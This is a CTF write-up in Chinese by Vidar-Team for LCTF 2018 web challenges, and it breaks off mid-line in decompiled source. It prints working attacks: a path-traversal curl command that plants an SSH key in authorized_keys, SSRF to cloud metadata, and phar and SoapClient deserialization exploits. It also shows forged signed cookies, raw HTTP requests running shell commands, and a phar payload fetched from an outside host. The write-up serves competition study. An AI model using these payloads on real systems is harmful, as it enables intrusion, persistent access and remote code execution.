by Vidar-Team
Team:http://vidar.club
[TOC]
源码
# -*- coding: utf-8 -*-
from flask import request, render_template
from config import create_app
import os
import urllib
import requests
import uuid
app = create_app()
@app.route('/upload/', methods=['PUT'])
def upload_file(filename):
name = request.cookies.get('name')
pwd = request.cookies.get('pwd')
if name != 'lctf' and pwd != str(uuid.getnode()):
return "0"
filename = urllib.unquote(filename)
with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), 'w') as f:
f.write(request.get_data(as_text=True))
return "1"
return "0"
@app.route('/', methods=['GET'])
def index():
url = request.args.get('url', '')
if url == '':
return render_template('index.html')
if "http" != url[: 4]:
return "hacker"
try:
response = requests.get(url, timeout=10)
response.encoding = 'utf-8'
return response.text
except:
return "Something Error"
@app.route('/source', methods=['GET'])
def get_source():
return open(__file__).read()
if __name__ == '__main__':
app.run()
使用X-HTTP-Method-Override: PUT就可以上传文件了
https://cloud.tencent.com/document/product/215/20109
腾讯云文档中可以看到怎么获得mac地址
这能拿到mac地址
http://118.25.150.86/?url=http://metadata.tencentyun.com/latest/meta-data/mac
传.ssh
curl -X GET -H "X-HTTP-Method-Override: PUT" -H "Cookie: name=lctf;pwd=90520735500403" "http://118.25.150.86/upload/..%252f..%252f..%252f..%252f..%252f..%252fhome%252flctf%252f.ssh%252fauthorized_keys" -F "authorized_keys=ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMecVVKChtdzTHnJ5+6+gdcspJ2zyTNlw9fEp6xJOPKB1MA+hthPdb0BQkIKpSSknALLJYe0Ro7RIfzXxmzsWneD8Iq9xbl3G65v7QlzMujgNPARQTvqf0CE5DvSEn13PM9yMNLw+3w8ZLSmtyAvfXl4rN8vUoBaxlVVawMGoZc82jQJOmua7sDpJ+Qt0W5KrDf2TCwP2HR93Z83Qzc5AhVlkC8YGPxW0b2es9toftJ1REAoSz14hGvqZWM0V8eEUmpE8ohXce50RhLnxJc8/jVcqLCvFYPqEJfFzwaeFMCfi5FEVLmIgA2DtSYtige/Zvm7MqAdwHh+i28S9yL/Jl [email protected]"
flag在/app/flag下
先上传再phar反序列化
可能是非预期,但绕过了头限制,安全客的文章可以通过协议传导compress.zlib://phar://这种方式来执行phar
在check的地方phar反序列化
http://212.64.7.171/LCTF.php?m=upload&url=http://94.191.97.184/phar.phar?a=
看进程里他们都在sh -c grep -ir "lctf" > /tmp/xxx
直接看tmp目录下就行了
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>
可以通过extract把b给改了
反序列化+ssrf
SoapClient 之前N1CTF有过
php session的反序列化
session_start可以设置,直接可以传数组
session_start 序列化一个soap访问flag.php,然后$b替换成call_user_func,在var_dump出错误信息,得到session_id,替换下就可以了
import requests
import re
url = "http://172.81.210.82/"
payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'
r = requests.session()
data = {'serialize_handler' : 'php_serialize'}
url1 = url+"?f=session_start&name="+payload
html = r.post(url1, data=data).text
data = {'b' : "call_user_func"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text
data = {'b' : "var_dump"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text
rs = re.findall(r'string\(26\) "(.*?)"', html)
url2 = url
cookie = {"Cookie":"PHPSESSID="+rs[0]}
html = r.post(url2,headers = cookie).text
print html
继续非预期 神奇的发现第二题的$SECRET==NULL
直接伪造反序列化结束
php伪造脚本
<?php
class K0rz3n_secret_flag {
protected $file_path="/var/www/file/48915dedf3ce9ddc70aeefe2a42006a4/avatar.gif";
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
// include_once($this->file_path);
}
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
$data = serialize(new K0rz3n_secret_flag());
$hmac = hash_hmac("md5", $data, NULL);
print_r(urlencode(sprintf("%s-----%s", $data, $hmac)));
$data = serialize(new User("../file/48915dedf3ce9ddc70aeefe2a42006a4"));
$hmac = hash_hmac("md5", $data, NULL);
print_r(urlencode(sprintf("%s-----%s", $data, $hmac)));
传shell
GET /LCTF.php?m=upload&url=http://test.tan90.me HTTP/1.1
Host: 212.64.74.153
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: session-data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A6%3A%22avatar%22%3Bs%3A40%3A%22..%2Ffile%2F48915dedf3ce9ddc70aeefe2a42006a4%22%3B%7D-----01d76466746e56bfe3e9558529df2709
Connection: close
执行命令
GET /LCTF.php?m=upload&url=http://test.tan90.me&cmd=ls%20-al%20/tmp HTTP/1.1
Host: 212.64.74.153
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: session-data=O%3A18%3A%22K0rz3n_secret_flag%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00file_path%22%3Bs%3A57%3A%22%2Fvar%2Fwww%2Ffile%2F48915dedf3ce9ddc70aeefe2a42006a4%2Favatar.gif%22%3B%7D-----7b954f00dc02cd915b1c3d4872112634
Connection: close
flag在哪
view-source:http://212.64.74.153/LCTF.php?m=upload&url=http://test.tan90.me&cmd=cat%20/etc/gai.conf
os.path.join
If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
file://sandbox//var/www/project/playground/
file://sandbox//var/www/project/playground/__pycache__
main.cpython-37.pyc
from flask import Flask, escape, request, make_response, render_template
from session import *
from utils import *
from flag import FLAG
from parser import parse
app = Flask(__name__)
@app.route('/')
def index():
user = request.cookies.get('user', '')
try:
username = session_decode(user)
except Exception:
username = get_username()
content = escape(username)
else:
if username == 'admin':
content = escape(FLAG)
else:
content = escape(username)
resp = make_response(render_template('main.html', content=content))
return resp
@app.route('/sandbox')
def render_static():
if not check_token(request.args.get('token')):
resp = make_response('invalid request')
else:
url = request.args.get('url')
try:
if url is None or url == '':
content = 'no url input'
else:
content = parse(url)
resp = make_response(content)
except Exception:
resp = make_response('url error')
resp.mimetype = 'text/plain'
return resp
app.run(port=5000)
utils.py
import random, string, base64, datetime
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key = b'lctf2018lctf2018'
block_size = 16
def random_str(length=5):
random.seed(None)
return ''.join((random.choice(string.ascii_letters + string.digits) for _ in range(length)))
def get_username():
username = random_str(length=5)
if username != 'admin':
return username
else:
return get_username()
def check_token(token):
if token == '' or token is None:
return False
try:
token = str.replace(token, ' ', '+')
token = base64.b64decode(token)
cipher = AES.new(key, AES.MODE_ECB)
token = cipher.decrypt(token)
token = unpad(token, block_size)
token = str(token, 'utf-8')
except Exception as e:
try:
return False
finally:
e = None
del e
token = str.split(token, '@')
if len(token) != 4:
return False
try:
w = int(token[0])
h = int(token[1])
ua = token[2]
ts = datetime.datetime.fromtimestamp(int(token[3][:-3]))
except Exception as e:
try:
return False
finally:
e = None
del e
if w < 100 or h < 100:
return False
if 'urllib' in ua or 'requests' in ua or 'PhantomJS' in ua or 'Python' in ua or 'Scrapy' in ua or 'curl' in ua or 'Wget' in ua:
return False
now = datetime.datetime.now()
if ts < now + (datetime.timedelta(minutes=3)):
if ts > now - (datetime.timedelta(minutes=3)):
return True
return False
session.py
import base64
from hash import MDA
from flag import seed
def encode(info):
return str(base64.b32encode(bytes(info, 'utf-8')), 'utf-8')
def decode(info):
return str(base64.b32decode(bytes(info, 'utf-8')), 'utf-8')
def hash_encode(info):
md = MDA(seed)
return md.grouping(info)
def hash_verify(hash_info, info):
return hash_encode(info) == hash_info
def session_encode(info):
return '%s.%s' % (encode(info), hash_encode(info))
def session_decode(info):
info_list = str.split(info, '.')
if len(info_list) != 2:
raise Exception('error info')
info_ = decode(info_list[0])
if not hash_verify(info_list[1], info_):
raise Exception('hash wrong')
return info_
hash.py
# uncompyle6 version 3.2.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.0 (default, Oct 2 2018, 09:19:48)
# [Clang 9.0.0 (clang-900.0.39.2)]
# Embedded file name: hash.py
# Size of source mod 2**32: 4512 bytes
__metaclass__ = type
import random, struct
def _bytelist2long(list):
imax = len(list) // 4
hl = [0] * imax
j = 0
i = 0
while i < imax:
b0 = ord(list[j])
b1 = ord(list[j + 1]) << 8
b2 = ord(list[j + 2]) << 16
b3 = ord(list[j + 3]) << 24
hl[i] = b0 | b1 | b2 | b3
i = i + 1
j = j + 4
return hl
def _rotateLeft(x, n):
return x << n | x >> 32 - n
def F(x, y, z):
return x & y | ~x & z
def G(x, y, z):
return x & z | y & ~z
def H(x, y, z):
return x ^ y ^ z
def I(x, y, z):
return y ^ (x | ~z)
def XX(func, a, b, c, d, x, s, ac):
res = 0
res = res + a + func(b, c, d)
res = res + x
res = res + ac
res = res & 65535
res = _rotateLeft(res, s)
res = res & 65535
res = res + b
return res & 65535
class MDA:
def __init__(self, seed='lctf2018'):
self.seed = seed
self.init()
def init(self):
self.length = 0
self.count = [0, 0]
self.input = []
random.seed(self.seed)
self.A = random.randint(3326, 27529)
self.B = random.randint(3326, 27529)
self.C = random.randint(3326, 27529)
self.D = random.randint(3326, 27529)
def _transform(self, inp):
a, b, c, d = A, B, C, D = (
self.A, self.B, self.C, self.D)
S11, S12, S13, S14 = (7, 12, 17, 22)
a = XX(F, a, b, c, d, inp[0], S11, 42104)
d = XX(F, d, a, b, c, inp[1], S12, 46934)
c = XX(F, c, d, a, b, inp[2], S13, 28891)
b = XX(F, b, c, d, a, inp[3], S14, 52974)
S21, S22, S23, S24 = (5, 9, 14, 20)
a = XX(G, a, b, c, d, inp[1], S21, 9570)
b = XX(G, b, c, d, a, inp[0], S24, 51114)
c = XX(G, c, d, a, b, inp[3], S23, 3463)
d = XX(G, d, a, b, c, inp[2], S22, 41976)
S31, S32, S33, S34 = (4, 11, 16, 23)
a = XX(H, a, b, c, d, inp[1], S31, 59972)
d = XX(H, d, a, b, c, inp[0], S32, 10234)
c = XX(H, c, d, a, b, inp[3], S33, 12421)
b = XX(H, b, c, d, a, inp[2], S34, 22117)
S41, S42, S43, S44 = (6, 10, 15, 21)
a = XX(I, a, b, c, d, inp[0], S41, 8772)
d = XX(I, d, a, b, c, inp[3], S42, 52370)
b = XX(I, b, c, d, a, inp[1], S44, 24017)
c = XX(I, c, d, a, b, inp[2], S43, 53947)
A = A + a & 32767
B = B + b & 32767
C = C + c & 32767
D = D + d & 32767
self.A, self.B, self.C, self.D = (
A, B, C, D)
def update(self, inBuf):
leninBuf = len(inBuf)
index = self.count[0] >> 3 & 15
self.count[0] = self.count[0] + (leninBuf << 3)
if self.count[0] < leninBuf << 3:
self.count[1